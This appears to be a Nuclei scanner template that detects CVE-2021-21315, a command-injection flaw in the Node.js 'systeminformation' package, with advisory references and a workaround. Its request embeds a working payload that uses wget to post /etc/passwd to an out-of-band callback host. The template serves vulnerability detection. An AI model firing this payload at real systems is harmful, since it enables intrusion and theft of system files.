id: CVE-2021-21315 info: name: Node.js Systeminformation Command Injection author: pikpikcu severity: high description: The System Information Library for Node.JS (npm package "systeminformation") is an open source collection of functions to retrieve detailed hardware, system and OS information. In systeminformation before version 5.3.1 there is a command injection vulnerability. Problem was fixed in version 5.3.1. As a workaround instead of upgrading, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected. reference: - https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC - https://security.netapp.com/advisory/ntap-20210312-0007/ - https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-2m8v-572m-ff2v - https://www.npmjs.com/package/systeminformation classification: cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.8 cve-id: CVE-2021-21315 cwe-id: CWE-78 tags: nodejs,cve,cve2021,cisa requests: - method: GET path: - "{{BaseURL}}/api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20{{interactsh-url}})" matchers-condition: and matchers: - type: word words: - "application/json" part: header - type: word words: - "wget --post-file /etc/passwd {{interactsh-url}}" - name - running - pids part: body condition: and - type: status status: - 200
